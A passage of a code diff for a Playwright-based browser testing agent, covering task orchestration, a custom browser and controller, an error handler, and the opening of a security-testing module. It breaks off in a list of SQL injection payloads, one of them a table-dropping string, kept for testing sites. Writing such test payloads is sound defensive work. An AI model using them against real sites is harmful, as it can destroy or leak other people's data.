+        self.current_task_id = task_id if task_id else str(uuid.uuid4())
+        safe_root_dir = "./tmp/deep_research"
+        normalized_save_dir = os.path.normpath(save_dir)
+        if not normalized_save_dir.startswith(os.path.abspath(safe_root_dir)):
+            logger.warning(f"Unsafe save_dir detected: {save_dir}. Using default directory.")
+            normalized_save_dir = os.path.abspath(safe_root_dir)
+        output_dir = os.path.join(normalized_save_dir, self.current_task_id)
+        os.makedirs(output_dir, exist_ok=True)
+
+        logger.info(
+            f"[AsyncGen] Starting research task ID: {self.current_task_id} for topic: '{topic}'"
+        )
+        logger.info(f"[AsyncGen] Output directory: {output_dir}")
+
+        self.stop_event = threading.Event()
+        _AGENT_STOP_FLAGS[self.current_task_id] = self.stop_event
+        agent_tools = await self._setup_tools(
+            self.current_task_id, self.stop_event, max_parallel_browsers
+        )
+        initial_state: DeepResearchState = {
+            "task_id": self.current_task_id,
+            "topic": topic,
+            "research_plan": [],
+            "search_results": [],
+            "messages": [],
+            "llm": self.llm,
+            "tools": agent_tools,
+            "output_dir": Path(output_dir),
+            "browser_config": self.browser_config,
+            "final_report": None,
+            "current_category_index": 0,
+            "current_task_index_in_category": 0,
+            "stop_requested": False,
+            "error_message": None,
+        }
+
+        if task_id:
+            logger.info(f"Attempting to resume task {task_id}...")
+            loaded_state = _load_previous_state(task_id, output_dir)
+            initial_state.update(loaded_state)
+            if loaded_state.get("research_plan"):
+                logger.info(
+                    f"Resuming with {len(loaded_state['research_plan'])} plan categories "
+                    f"and {len(loaded_state.get('search_results', []))} existing results. "
+                    f"Next task: Cat {initial_state['current_category_index']}, Task {initial_state['current_task_index_in_category']}"
+                )
+                initial_state["topic"] = (
+                    topic  # Allow overriding topic even when resuming? Or use stored topic? Let's use new one.
+                )
+            else:
+                logger.warning(
+                    f"Resume requested for {task_id}, but no previous plan found. Starting fresh."
+                )
+
+        # --- Execute Graph using ainvoke ---
+        final_state = None
+        status = "unknown"
+        message = None
+        try:
+            logger.info(f"Invoking graph execution for task {self.current_task_id}...")
+            self.runner = asyncio.create_task(self.graph.ainvoke(initial_state))
+            final_state = await self.runner
+            logger.info(f"Graph execution finished for task {self.current_task_id}.")
+
+            # Determine status based on final state
+            if self.stop_event and self.stop_event.is_set():
+                status = "stopped"
+                message = "Research process was stopped by request."
+                logger.info(message)
+            elif final_state and final_state.get("error_message"):
+                status = "error"
+                message = final_state["error_message"]
+                logger.error(f"Graph execution completed with error: {message}")
+            elif final_state and final_state.get("final_report"):
+                status = "completed"
+                message = "Research process completed successfully."
+                logger.info(message)
+            else:
+                # If it ends without error/report (e.g., empty plan, stopped before synthesis)
+                status = "finished_incomplete"
+                message = "Research process finished, but may be incomplete (no final report generated)."
+                logger.warning(message)
+
+        except asyncio.CancelledError:
+            status = "cancelled"
+            message = f"Agent run task cancelled for {self.current_task_id}."
+            logger.info(message)
+            # final_state will remain None or the state before cancellation if checkpointing was used
+        except Exception as e:
+            status = "error"
+            message = f"Unhandled error during graph execution for {self.current_task_id}: {e}"
+            logger.error(message, exc_info=True)
+            # final_state will remain None or the state before the error
+        finally:
+            logger.info(f"Cleaning up resources for task {self.current_task_id}")
+            task_id_to_clean = self.current_task_id
+
+            self.stop_event = None
+            self.current_task_id = None
+            self.runner = None  # Mark runner as finished
+            if self.mcp_client:
+                await self.mcp_client.__aexit__(None, None, None)
+
+            # Return a result dictionary including the status and the final state if available
+            return {
+                "status": status,
+                "message": message,
+                "task_id": task_id_to_clean,  # Use the stored task_id
+                "final_state": final_state
+                if final_state
+                else {},  # Return the final state dict
+            }
+
+    async def _stop_lingering_browsers(self, task_id):
+        """Attempts to stop any BrowserUseAgent instances associated with the task_id."""
+        keys_to_stop = [
+            key for key in _BROWSER_AGENT_INSTANCES if key.startswith(f"{task_id}_")
+        ]
+        if not keys_to_stop:
+            return
+
+        logger.warning(
+            f"Found {len(keys_to_stop)} potentially lingering browser agents for task {task_id}. Attempting stop..."
+        )
+        for key in keys_to_stop:
+            agent_instance = _BROWSER_AGENT_INSTANCES.get(key)
+            try:
+                if agent_instance:
+                    # Assuming BU agent has an async stop method
+                    await agent_instance.stop()
+                    logger.info(f"Called stop() on browser agent instance {key}")
+            except Exception as e:
+                logger.error(
+                    f"Error calling stop() on browser agent instance {key}: {e}"
+                )
+
+    async def stop(self):
+        """Signals the currently running agent task to stop."""
+        if not self.current_task_id or not self.stop_event:
+            logger.info("No agent task is currently running.")
+            return
+
+        logger.info(f"Stop requested for task ID: {self.current_task_id}")
+        self.stop_event.set()  # Signal the stop event
+        self.stopped = True
+        await self._stop_lingering_browsers(self.current_task_id)
+
+    def close(self):
+        self.stopped = False

src/browser/custom_browser.py

@@ -0,0 +1,120 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Custom Browser
+=========================================================
+
+Custom browser implementation with enhanced automation capabilities.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import pdb
+
+from playwright.async_api import Browser as PlaywrightBrowser
+from playwright.async_api import (
+    BrowserContext as PlaywrightBrowserContext,
+)
+from playwright.async_api import (
+    Playwright,
+    async_playwright,
+)
+from browser_use.browser.browser import Browser, IN_DOCKER
+from browser_use.browser.context import BrowserContext, BrowserContextConfig
+from playwright.async_api import BrowserContext as PlaywrightBrowserContext
+import logging
+
+from browser_use.browser.chrome import (
+    CHROME_ARGS,
+    CHROME_DETERMINISTIC_RENDERING_ARGS,
+    CHROME_DISABLE_SECURITY_ARGS,
+    CHROME_DOCKER_ARGS,
+    CHROME_HEADLESS_ARGS,
+)
+from browser_use.browser.context import BrowserContext, BrowserContextConfig
+from browser_use.browser.utils.screen_resolution import get_screen_resolution, get_window_adjustments
+from browser_use.utils import time_execution_async
+import socket
+
+from .custom_context import CustomBrowserContext
+
+logger = logging.getLogger(__name__)
+
+
+class CustomBrowser(Browser):
+
+    async def new_context(self, config: BrowserContextConfig | None = None) -> CustomBrowserContext:
+        """Create a browser context"""
+        browser_config = self.config.model_dump() if self.config else {}
+        context_config = config.model_dump() if config else {}
+        merged_config = {**browser_config, **context_config}
+        return CustomBrowserContext(config=BrowserContextConfig(**merged_config), browser=self)
+
+    async def _setup_builtin_browser(self, playwright: Playwright) -> PlaywrightBrowser:
+        """Sets up and returns a Playwright Browser instance with anti-detection measures."""
+        assert self.config.browser_binary_path is None, 'browser_binary_path should be None if trying to use the builtin browsers'
+
+        # Use the configured window size from new_context_config if available
+        if (
+                not self.config.headless
+                and hasattr(self.config, 'new_context_config')
+                and hasattr(self.config.new_context_config, 'window_width')
+                and hasattr(self.config.new_context_config, 'window_height')
+        ):
+            screen_size = {
+                'width': self.config.new_context_config.window_width,
+                'height': self.config.new_context_config.window_height,
+            }
+            offset_x, offset_y = get_window_adjustments()
+        elif self.config.headless:
+            screen_size = {'width': 1920, 'height': 1080}
+            offset_x, offset_y = 0, 0
+        else:
+            screen_size = get_screen_resolution()
+            offset_x, offset_y = get_window_adjustments()
+
+        chrome_args = {
+            f'--remote-debugging-port={self.config.chrome_remote_debugging_port}',
+            *CHROME_ARGS,
+            *(CHROME_DOCKER_ARGS if IN_DOCKER else []),
+            *(CHROME_HEADLESS_ARGS if self.config.headless else []),
+            *(CHROME_DISABLE_SECURITY_ARGS if self.config.disable_security else []),
+            *(CHROME_DETERMINISTIC_RENDERING_ARGS if self.config.deterministic_rendering else []),
+            f'--window-position={offset_x},{offset_y}',
+            f'--window-size={screen_size["width"]},{screen_size["height"]}',
+            *self.config.extra_browser_args,
+        }
+
+        # check if chrome remote debugging port is already taken,
+        # if so remove the remote-debugging-port arg to prevent conflicts
+        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
+            if s.connect_ex(('localhost', self.config.chrome_remote_debugging_port)) == 0:
+                chrome_args.remove(f'--remote-debugging-port={self.config.chrome_remote_debugging_port}')
+
+        browser_class = getattr(playwright, self.config.browser_class)
+        args = {
+            'chromium': list(chrome_args),
+            'firefox': [
+                *{
+                    '-no-remote',
+                    *self.config.extra_browser_args,
+                }
+            ],
+            'webkit': [
+                *{
+                    '--no-startup-window',
+                    *self.config.extra_browser_args,
+                }
+            ],
+        }
+
+        browser = await browser_class.launch(
+            channel='chromium',  # https://github.com/microsoft/playwright/issues/33566
+            headless=self.config.headless,
+            args=args[self.config.browser_class],
+            proxy=self.config.proxy.model_dump() if self.config.proxy else None,
+            handle_sigterm=False,
+            handle_sigint=False,
+        )
+        return browser

src/browser/custom_context.py

@@ -0,0 +1,33 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Custom Browser Context
+=================================================================
+
+Custom browser context implementation with enhanced automation capabilities.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import json
+import logging
+import os
+
+from browser_use.browser.browser import Browser, IN_DOCKER
+from browser_use.browser.context import BrowserContext, BrowserContextConfig
+from playwright.async_api import Browser as PlaywrightBrowser
+from playwright.async_api import BrowserContext as PlaywrightBrowserContext
+from typing import Optional
+from browser_use.browser.context import BrowserContextState
+
+logger = logging.getLogger(__name__)
+
+
+class CustomBrowserContext(BrowserContext):
+    def __init__(
+            self,
+            browser: 'Browser',
+            config: BrowserContextConfig | None = None,
+            state: Optional[BrowserContextState] = None,
+    ):
+        super(CustomBrowserContext, self).__init__(browser=browser, config=config, state=state)

src/controller/custom_controller.py

@@ -0,0 +1,193 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Custom Controller
+============================================================
+
+Custom browser controller with enhanced automation capabilities.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import pdb
+
+import pyperclip
+from typing import Optional, Type, Callable, Dict, Any, Union, Awaitable, TypeVar
+from pydantic import BaseModel
+from browser_use.agent.views import ActionResult
+from browser_use.browser.context import BrowserContext
+from browser_use.controller.service import Controller, DoneAction
+from browser_use.controller.registry.service import Registry, RegisteredAction
+from main_content_extractor import MainContentExtractor
+from browser_use.controller.views import (
+    ClickElementAction,
+    DoneAction,
+    ExtractPageContentAction,
+    GoToUrlAction,
+    InputTextAction,
+    OpenTabAction,
+    ScrollAction,
+    SearchGoogleAction,
+    SendKeysAction,
+    SwitchTabAction,
+)
+import logging
+import inspect
+import asyncio
+import os
+from langchain_core.language_models.chat_models import BaseChatModel
+from browser_use.agent.views import ActionModel, ActionResult
+
+from src.utils.mcp_client import create_tool_param_model, setup_mcp_client_and_tools
+
+from browser_use.utils import time_execution_sync
+
+logger = logging.getLogger(__name__)
+
+Context = TypeVar('Context')
+
+
+class CustomController(Controller):
+    def __init__(self, exclude_actions: list[str] = [],
+                 output_model: Optional[Type[BaseModel]] = None,
+                 ask_assistant_callback: Optional[Union[Callable[[str, BrowserContext], Dict[str, Any]], Callable[
+                     [str, BrowserContext], Awaitable[Dict[str, Any]]]]] = None,
+                 ):
+        super().__init__(exclude_actions=exclude_actions, output_model=output_model)
+        self._register_custom_actions()
+        self.ask_assistant_callback = ask_assistant_callback
+        self.mcp_client = None
+        self.mcp_server_config = None
+
+    def _register_custom_actions(self):
+        """Register all custom browser actions"""
+
+        @self.registry.action(
+            "When executing tasks, prioritize autonomous completion. However, if you encounter a definitive blocker "
+            "that prevents you from proceeding independently – such as needing credentials you don't possess, "
+            "requiring subjective human judgment, needing a physical action performed, encountering complex CAPTCHAs, "
+            "or facing limitations in your capabilities – you must request human assistance."
+        )
+        async def ask_for_assistant(query: str, browser: BrowserContext):
+            if self.ask_assistant_callback:
+                if inspect.iscoroutinefunction(self.ask_assistant_callback):
+                    user_response = await self.ask_assistant_callback(query, browser)
+                else:
+                    user_response = self.ask_assistant_callback(query, browser)
+                msg = f"AI ask: {query}. User response: {user_response['response']}"
+                logger.info(msg)
+                return ActionResult(extracted_content=msg, include_in_memory=True)
+            else:
+                return ActionResult(extracted_content="Human cannot help you. Please try another way.",
+                                    include_in_memory=True)
+
+        @self.registry.action(
+            'Upload file to interactive element with file path ',
+        )
+        async def upload_file(index: int, path: str, browser: BrowserContext, available_file_paths: list[str]):
+            if path not in available_file_paths:
+                return ActionResult(error=f'File path {path} is not available')
+
+            if not os.path.exists(path):
+                return ActionResult(error=f'File {path} does not exist')
+
+            dom_el = await browser.get_dom_element_by_index(index)
+
+            file_upload_dom_el = dom_el.get_file_upload_element()
+
+            if file_upload_dom_el is None:
+                msg = f'No file upload element found at index {index}'
+                logger.info(msg)
+                return ActionResult(error=msg)
+
+            file_upload_el = await browser.get_locate_element(file_upload_dom_el)
+
+            if file_upload_el is None:
+                msg = f'No file upload element found at index {index}'
+                logger.info(msg)
+                return ActionResult(error=msg)
+
+            try:
+                await file_upload_el.set_input_files(path)
+                msg = f'Successfully uploaded file to index {index}'
+                logger.info(msg)
+                return ActionResult(extracted_content=msg, include_in_memory=True)
+            except Exception as e:
+                msg = f'Failed to upload file to index {index}: {str(e)}'
+                logger.info(msg)
+                return ActionResult(error=msg)
+
+    @time_execution_sync('--act')
+    async def act(
+            self,
+            action: ActionModel,
+            browser_context: Optional[BrowserContext] = None,
+            #
+            page_extraction_llm: Optional[BaseChatModel] = None,
+            sensitive_data: Optional[Dict[str, str]] = None,
+            available_file_paths: Optional[list[str]] = None,
+            #
+            context: Context | None = None,
+    ) -> ActionResult:
+        """Execute an action"""
+
+        try:
+            for action_name, params in action.model_dump(exclude_unset=True).items():
+                if params is not None:
+                    if action_name.startswith("mcp"):
+                        # this is a mcp tool
+                        logger.debug(f"Invoke MCP tool: {action_name}")
+                        mcp_tool = self.registry.registry.actions.get(action_name).function
+                        result = await mcp_tool.ainvoke(params)
+                    else:
+                        result = await self.registry.execute_action(
+                            action_name,
+                            params,
+                            browser=browser_context,
+                            page_extraction_llm=page_extraction_llm,
+                            sensitive_data=sensitive_data,
+                            available_file_paths=available_file_paths,
+                            context=context,
+                        )
+
+                    if isinstance(result, str):
+                        return ActionResult(extracted_content=result)
+                    elif isinstance(result, ActionResult):
+                        return result
+                    elif result is None:
+                        return ActionResult()
+                    else:
+                        raise ValueError(f'Invalid action result type: {type(result)} of {result}')
+            return ActionResult()
+        except Exception as e:
+            raise e
+
+    async def setup_mcp_client(self, mcp_server_config: Optional[Dict[str, Any]] = None):
+        self.mcp_server_config = mcp_server_config
+        if self.mcp_server_config:
+            self.mcp_client = await setup_mcp_client_and_tools(self.mcp_server_config)
+            self.register_mcp_tools()
+
+    def register_mcp_tools(self):
+        """
+        Register the MCP tools used by this controller.
+        """
+        if self.mcp_client:
+            for server_name in self.mcp_client.server_name_to_tools:
+                for tool in self.mcp_client.server_name_to_tools[server_name]:
+                    tool_name = f"mcp.{server_name}.{tool.name}"
+                    self.registry.registry.actions[tool_name] = RegisteredAction(
+                        name=tool_name,
+                        description=tool.description,
+                        function=tool,
+                        param_model=create_tool_param_model(tool),
+                    )
+                    logger.info(f"Add mcp tool: {tool_name}")
+                logger.debug(
+                    f"Registered {len(self.mcp_client.server_name_to_tools[server_name])} mcp tools for {server_name}")
+        else:
+            logger.warning(f"MCP client not started.")
+
+    async def close_mcp_client(self):
+        if self.mcp_client:
+            await self.mcp_client.__aexit__(None, None, None)

src/utils/advanced_error_handler.py

@@ -0,0 +1,450 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Advanced Error Handler
+=================================================================
+
+Advanced error handling, debugging, and intelligent error recovery system.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import logging
+import traceback
+import json
+from typing import Dict, List, Optional, Any, Tuple
+from dataclasses import dataclass
+from datetime import datetime
+from playwright.async_api import Page, Locator, Error as PlaywrightError
+
+logger = logging.getLogger(__name__)
+
+@dataclass
+class DetailedError:
+    """Detailed error information with context."""
+    error_type: str
+    error_message: str
+    element_info: Dict[str, Any]
+    page_context: Dict[str, Any]
+    action_context: Dict[str, Any]
+    suggested_fix: str
+    severity: str  # low, medium, high, critical
+    timestamp: datetime
+    stack_trace: str
+
+class AdvancedErrorHandler:
+    """Advanced error handling and debugging system."""
+    
+    def __init__(self, page: Page):
+        self.page = page
+        self.error_history: List[DetailedError] = []
+        self.recovery_attempts: Dict[str, int] = {}
+        
+    async def handle_action_error(self, error: Exception, action: str, 
+                                element_index: Optional[int] = None, 
+                                element_selector: Optional[str] = None,
+                                input_value: Optional[str] = None) -> DetailedError:
+        """Handle action errors with detailed context and suggestions."""
+        
+        # Extract element information
+        element_info = await self._extract_element_info(element_index, element_selector)
+        
+        # Extract page context
+        page_context = await self._extract_page_context()
+        
+        # Extract action context
+        action_context = {
+            "action": action,
+            "element_index": element_index,
+            "element_selector": element_selector,
+            "input_value": input_value,
+            "timestamp": datetime.now().isoformat()
+        }
+        
+        # Analyze error and generate suggestions
+        error_analysis = self._analyze_error(error, element_info, page_context, action_context)
+        
+        # Create detailed error
+        detailed_error = DetailedError(
+            error_type=type(error).__name__,
+            error_message=str(error),
+            element_info=element_info,
+            page_context=page_context,
+            action_context=action_context,
+            suggested_fix=error_analysis["suggested_fix"],
+            severity=error_analysis["severity"],
+            timestamp=datetime.now(),
+            stack_trace=traceback.format_exc()
+        )
+        
+        self.error_history.append(detailed_error)
+        
+        # Log detailed error
+        self._log_detailed_error(detailed_error)
+        
+        return detailed_error
+    
+    async def _extract_element_info(self, element_index: Optional[int], 
+                                  element_selector: Optional[str]) -> Dict[str, Any]:
+        """Extract detailed information about the element that caused the error."""
+        element_info = {
+            "index": element_index,
+            "selector": element_selector,
+            "exists": False,
+            "visible": False,
+            "enabled": False,
+            "tag_name": None,
+            "attributes": {},
+            "text_content": None,
+            "bounding_box": None,
+            "similar_elements": []
+        }
+        
+        try:
+            if element_index is not None:
+                # Get element by index
+                elements = await self.page.locator("input, button, select, textarea").all()
+                if 0 <= element_index < len(elements):
+                    element = elements[element_index]
+                    element_info.update(await self._get_element_details(element))
+                    
+                    # Find similar elements
+                    element_info["similar_elements"] = await self._find_similar_elements(element)
+            
+            elif element_selector:
+                # Get element by selector
+                element = self.page.locator(element_selector).first
+                if await element.count() > 0:
+                    element_info.update(await self._get_element_details(element))
+                    element_info["similar_elements"] = await self._find_similar_elements(element)
+                    
+        except Exception as e:
+            element_info["extraction_error"] = str(e)
+        
+        return element_info
+    
+    async def _get_element_details(self, element: Locator) -> Dict[str, Any]:
+        """Get detailed information about a specific element."""
+        details = {}
+        
+        try:
+            details["exists"] = await element.count() > 0
+            if details["exists"]:
+                details["visible"] = await element.is_visible()
+                details["enabled"] = await element.is_enabled()
+                details["tag_name"] = await element.evaluate("el => el.tagName")
+                details["text_content"] = await element.text_content()
+                
+                # Get attributes
+                attributes = await element.evaluate("el => { const attrs = {}; for (let attr of el.attributes) { attrs[attr.name] = attr.value; } return attrs; }")
+                details["attributes"] = attributes
+                
+                # Get bounding box
+                try:
+                    bbox = await element.bounding_box()
+                    details["bounding_box"] = bbox
+                except:
+                    details["bounding_box"] = None
+                    
+        except Exception as e:
+            details["error"] = str(e)
+        
+        return details
+    
+    async def _find_similar_elements(self, target_element: Locator) -> List[Dict[str, Any]]:
+        """Find similar elements on the page."""
+        similar_elements = []
+        
+        try:
+            # Get all interactive elements
+            all_elements = await self.page.locator("input, button, select, textarea, a").all()
+            
+            for i, element in enumerate(all_elements):
+                try:
+                    element_details = await self._get_element_details(element)
+                    if element_details.get("exists"):
+                        similar_elements.append({
+                            "index": i,
+                            "tag_name": element_details.get("tag_name"),
+                            "attributes": element_details.get("attributes", {}),
+                            "text_content": element_details.get("text_content"),
+                            "visible": element_details.get("visible", False)
+                        })
+                except:
+                    continue
+                    
+        except Exception as e:
+            similar_elements.append({"error": str(e)})
+        
+        return similar_elements[:10]  # Limit to 10 similar elements
+    
+    async def _extract_page_context(self) -> Dict[str, Any]:
+        """Extract current page context information."""
+        context = {
+            "url": None,
+            "title": None,
+            "form_count": 0,
+            "input_count": 0,
+            "button_count": 0,
+            "page_loaded": False,
+            "viewport_size": None,
+            "user_agent": None
+        }
+        
+        try:
+            context["url"] = self.page.url
+            context["title"] = await self.page.title()
+            context["form_count"] = await self.page.locator("form").count()
+            context["input_count"] = await self.page.locator("input").count()
+            context["button_count"] = await self.page.locator("button").count()
+            context["page_loaded"] = True
+            
+            # Get viewport size
+            viewport = await self.page.viewport_size()
+            if viewport:
+                context["viewport_size"] = f"{viewport['width']}x{viewport['height']}"
+            
+            # Get user agent
+            context["user_agent"] = await self.page.evaluate("navigator.userAgent")
+            
+        except Exception as e:
+            context["extraction_error"] = str(e)
+        
+        return context
+    
+    def _analyze_error(self, error: Exception, element_info: Dict[str, Any], 
+                      page_context: Dict[str, Any], action_context: Dict[str, Any]) -> Dict[str, Any]:
+        """Analyze error and provide intelligent suggestions."""
+        
+        error_message = str(error).lower()
+        error_type = type(error).__name__
+        
+        # Determine severity
+        severity = "medium"
+        if "timeout" in error_message or "waiting" in error_message:
+            severity = "high"
+        elif "not found" in error_message or "not visible" in error_message:
+            severity = "high"
+        elif "permission" in error_message or "blocked" in error_message:
+            severity = "critical"
+        elif "network" in error_message or "connection" in error_message:
+            severity = "high"
+        
+        # Generate suggestions based on error type
+        suggested_fix = self._generate_suggestions(error_message, error_type, element_info, page_context, action_context)
+        
+        return {
+            "severity": severity,
+            "suggested_fix": suggested_fix
+        }
+    
+    def _generate_suggestions(self, error_message: str, error_type: str, 
+                            element_info: Dict[str, Any], page_context: Dict[str, Any], 
+                            action_context: Dict[str, Any]) -> str:
+        """Generate intelligent suggestions for fixing the error."""
+        
+        suggestions = []
+        
+        # Element not found errors
+        if "not found" in error_message or "no element" in error_message:
+            suggestions.append("🔍 Element not found. Try these solutions:")
+            suggestions.append("  • Wait for the page to fully load")
+            suggestions.append("  • Check if the element selector is correct")
+            suggestions.append("  • Verify the element exists on the current page")
+            
+            if element_info.get("similar_elements"):
+                suggestions.append("  • Similar elements found on page:")
+                for elem in element_info["similar_elements"][:3]:
+                    if elem.get("tag_name"):
+                        suggestions.append(f"    - {elem['tag_name']}: {elem.get('text_content', 'No text')[:50]}")
+        
+        # Element not visible errors
+        elif "not visible" in error_message or "not attached" in error_message:
+            suggestions.append("👁️ Element not visible. Try these solutions:")
+            suggestions.append("  • Scroll to the element first")
+            suggestions.append("  • Wait for animations to complete")
+            suggestions.append("  • Check if element is hidden by CSS")
+            suggestions.append("  • Try clicking a parent element first")
+        
+        # Input text errors
+        elif "input text" in error_message or "failed to input" in error_message:
+            suggestions.append("⌨️ Input text failed. Try these solutions:")
+            suggestions.append("  • Clear the field first")
+            suggestions.append("  • Check if the field is enabled")
+            suggestions.append("  • Verify the field accepts text input")
+            suggestions.append("  • Try typing character by character")
+            
+            if action_context.get("input_value"):
+                suggestions.append(f"  • Input value was: '{action_context['input_value']}'")
+        
+        # Click errors
+        elif "click" in error_message or "failed to click" in error_message:
+            suggestions.append("🖱️ Click failed. Try these solutions:")
+            suggestions.append("  • Wait for element to be clickable")
+            suggestions.append("  • Check if element is covered by another element")
+            suggestions.append("  • Try force clicking")
+            suggestions.append("  • Scroll to element before clicking")
+        
+        # Timeout errors
+        elif "timeout" in error_message or "waiting" in error_message:
+            suggestions.append("⏰ Timeout occurred. Try these solutions:")
+            suggestions.append("  • Increase wait timeout")
+            suggestions.append("  • Check if page is still loading")
+            suggestions.append("  • Verify network connection")
+            suggestions.append("  • Try refreshing the page")
+        
+        # Network errors
+        elif "network" in error_message or "connection" in error_message:
+            suggestions.append("🌐 Network error. Try these solutions:")
+            suggestions.append("  • Check internet connection")
+            suggestions.append("  • Verify the website is accessible")
+            suggestions.append("  • Try again in a few moments")
+            suggestions.append("  • Check for firewall/proxy issues")
+        
+        # Generic suggestions
+        if not suggestions:
+            suggestions.append("🔧 General troubleshooting:")
+            suggestions.append("  • Refresh the page and try again")
+            suggestions.append("  • Check browser console for errors")
+            suggestions.append("  • Verify the website is working properly")
+            suggestions.append("  • Try a different approach or element")
+        
+        # Add context-specific suggestions
+        if element_info.get("index") is not None:
+            suggestions.append(f"  • Element index: {element_info['index']}")
+        
+        if page_context.get("input_count", 0) > 0:
+            suggestions.append(f"  • Page has {page_context['input_count']} input elements")
+        
+        return "\n".join(suggestions)
+    
+    def _log_detailed_error(self, error: DetailedError):
+        """Log detailed error information."""
+        logger.error(f"🚨 Detailed Error Report:")
+        logger.error(f"   Type: {error.error_type}")
+        logger.error(f"   Message: {error.error_message}")
+        logger.error(f"   Severity: {error.severity}")
+        logger.error(f"   Element Index: {error.element_info.get('index', 'N/A')}")
+        logger.error(f"   Element Selector: {error.element_info.get('selector', 'N/A')}")
+        logger.error(f"   Element Exists: {error.element_info.get('exists', 'N/A')}")
+        logger.error(f"   Element Visible: {error.element_info.get('visible', 'N/A')}")
+        logger.error(f"   Page URL: {error.page_context.get('url', 'N/A')}")
+        logger.error(f"   Page Title: {error.page_context.get('title', 'N/A')}")
+        logger.error(f"   Suggested Fix:\n{error.suggested_fix}")
+        
+        if error.severity in ["high", "critical"]:
+            logger.error(f"   Stack Trace:\n{error.stack_trace}")
+    
+    async def attempt_error_recovery(self, error: DetailedError) -> bool:
+        """Attempt to recover from an error automatically."""
+        recovery_key = f"{error.error_type}_{error.action_context.get('action', 'unknown')}"
+        
+        # Limit recovery attempts
+        if self.recovery_attempts.get(recovery_key, 0) >= 3:
+            logger.warning(f"⚠️ Maximum recovery attempts reached for {recovery_key}")
+            return False
+        
+        self.recovery_attempts[recovery_key] = self.recovery_attempts.get(recovery_key, 0) + 1
+        
+        try:
+            # Recovery strategies based on error type
+            if "not found" in error.error_message.lower():
+                return await self._recover_element_not_found(error)
+            elif "not visible" in error.error_message.lower():
+                return await self._recover_element_not_visible(error)
+            elif "input text" in error.error_message.lower():
+                return await self._recover_input_text_error(error)
+            elif "timeout" in error.error_message.lower():
+                return await self._recover_timeout_error(error)
+            
+        except Exception as recovery_error:
+            logger.error(f"❌ Recovery attempt failed: {recovery_error}")
+        
+        return False
+    
+    async def _recover_element_not_found(self, error: DetailedError) -> bool:
+        """Recover from element not found error."""
+        try:
+            # Wait a bit for dynamic content
+            await asyncio.sleep(2)
+            
+            # Try to find similar elements
+            if error.element_info.get("similar_elements"):
+                for elem in error.element_info["similar_elements"][:3]:
+                    if elem.get("visible") and elem.get("tag_name"):
+                        logger.info(f"🔄 Trying similar element: {elem['tag_name']}")
+                        return True
+            
+            return False
+        except:
+            return False
+    
+    async def _recover_element_not_visible(self, error: DetailedError) -> bool:
+        """Recover from element not visible error."""
+        try:
+            # Scroll to element
+            if error.element_info.get("index") is not None:
+                elements = await self.page.locator("input, button, select, textarea").all()
+                if 0 <= error.element_info["index"] < len(elements):
+                    await elements[error.element_info["index"]].scroll_into_view_if_needed()
+                    await asyncio.sleep(1)
+                    return True
+            return False
+        except:
+            return False
+    
+    async def _recover_input_text_error(self, error: DetailedError) -> bool:
+        """Recover from input text error."""
+        try:
+            # Clear field first
+            if error.element_info.get("index") is not None:
+                elements = await self.page.locator("input, textarea").all()
+                if 0 <= error.element_info["index"] < len(elements):
+                    await elements[error.element_info["index"]].clear()
+                    await asyncio.sleep(0.5)
+                    return True
+            return False
+        except:
+            return False
+    
+    async def _recover_timeout_error(self, error: DetailedError) -> bool:
+        """Recover from timeout error."""
+        try:
+            # Wait longer
+            await asyncio.sleep(5)
+            return True
+        except:
+            return False
+    
+    def get_error_summary(self) -> Dict[str, Any]:
+        """Get summary of all errors encountered."""
+        if not self.error_history:
+            return {"message": "No errors recorded"}
+        
+        error_counts = {}
+        severity_counts = {}
+        
+        for error in self.error_history:
+            error_type = error.error_type
+            severity = error.severity
+            
+            error_counts[error_type] = error_counts.get(error_type, 0) + 1
+            severity_counts[severity] = severity_counts.get(severity, 0) + 1
+        
+        return {
+            "total_errors": len(self.error_history),
+            "error_types": error_counts,
+            "severity_distribution": severity_counts,
+            "recovery_attempts": self.recovery_attempts,
+            "recent_errors": [
+                {
+                    "type": e.error_type,
+                    "message": e.error_message,
+                    "severity": e.severity,
+                    "timestamp": e.timestamp.isoformat(),
+                    "suggested_fix": e.suggested_fix
+                }
+                for e in self.error_history[-5:]  # Last 5 errors
+            ]
+        }

src/utils/advanced_testing.py

@@ -0,0 +1,1015 @@
+"""
+🤖 Fagun Browser Automation Testing Agent - Advanced Testing Module
+=================================================================
+
+Advanced testing capabilities including security testing, broken URL detection,
+grammatical error checking, and intelligent form testing.
+
+Author: Mejbaur Bahar Fagun
+Role: Software Engineer in Test
+LinkedIn: https://www.linkedin.com/in/mejbaur/
+"""
+
+import asyncio
+import re
+import random
+import string
+import requests
+from typing import List, Dict, Any, Optional, Tuple
+from playwright.async_api import Page, Locator
+import logging
+from dataclasses import dataclass
+from enum import Enum
+
+logger = logging.getLogger(__name__)
+
+
+class TestType(Enum):
+    """Types of tests that can be performed."""
+    SECURITY = "security"
+    FUNCTIONALITY = "functionality"
+    BROKEN_URL = "broken_url"
+    GRAMMAR = "grammar"
+    FORM_TESTING = "form_testing"
+    PERFORMANCE = "performance"
+
+
+@dataclass
+class TestResult:
+    """Result of a test execution."""
+    test_type: TestType
+    test_name: str
+    status: str  # "PASSED", "FAILED", "WARNING"
+    description: str
+    details: Dict[str, Any]
+    recommendations: List[str]
+
+
+class AdvancedTestingEngine:
+    """Advanced testing engine with AI thinking capabilities."""
+    
+    def __init__(self):
+        self.test_results: List[TestResult] = []
+        self.security_payloads = self._load_security_payloads()
+        self.form_test_data = self._load_form_test_data()
+        self.grammar_rules = self._load_grammar_rules()
+    
+    def _load_security_payloads(self) -> Dict[str, List[str]]:
+        """Load security testing payloads."""
+        return {
+            "sql_injection": [
+                "' OR '1'='1",
+                "'; DROP TABLE users; --",
+                "' UNION SELECT * FROM users --",
+                "admin'--",
